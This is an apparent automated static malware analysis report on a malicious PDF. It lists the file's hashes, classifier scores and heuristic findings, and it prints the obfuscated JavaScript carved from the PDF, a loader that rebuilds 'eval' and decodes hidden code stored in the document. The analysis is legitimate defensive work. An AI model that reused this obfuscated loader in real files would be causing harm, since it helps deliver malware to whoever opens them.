Malicious PDF — malware analysis report

Static analysis result for SHA-256 cd3ac205ca67b120…

MALICIOUS

PDF

22.2 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-08
MD5: 372b4fae0b867b9a0e463cac967c65b0 SHA-1: fd06c2076dddfcb25bf8eeb8f37488e26de10b36 SHA-256: cd3ac205ca67b1203d78bf652c170171cfb5077daa8d27207cbb75c381c28c12
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF was flagged as malicious by an ML classifier with high confidence. It contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named 'javascript_obj0001_000.js', is obfuscated, suggesting an attempt to hide its malicious functionality. The primary intent appears to be downloading and executing a second-stage payload, a common technique for initial access.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    iklsu\(iklsu\('String.fromCharCode\(' + pocu + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x568F 378 bytes
SHA-256: 4c17f4e2d389983650a2b7cec388e2a3f8f91c4862322fa1e72e0b074c015413
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
npbx = app;
omm = new Date(2010,11,4);
var vwml='';
var klw = 'e'+omm.getDay()+'a'+vwml+'l';
klw = klw.replace('6','v');
iklsu=npbx[klw];
var vwml='';
iklsu('va'+vwml+'r pkwif=th'+vwml+'i'+vwml+'s');
esdwi='pr' + vwml + omm.getDay() + vwml + 'uc' +'er';
esdwi = esdwi.replace('6', 'od');
var pocu = pkwif[esdwi];
iklsu(iklsu('String.fromCharCode(' + pocu + ')'));

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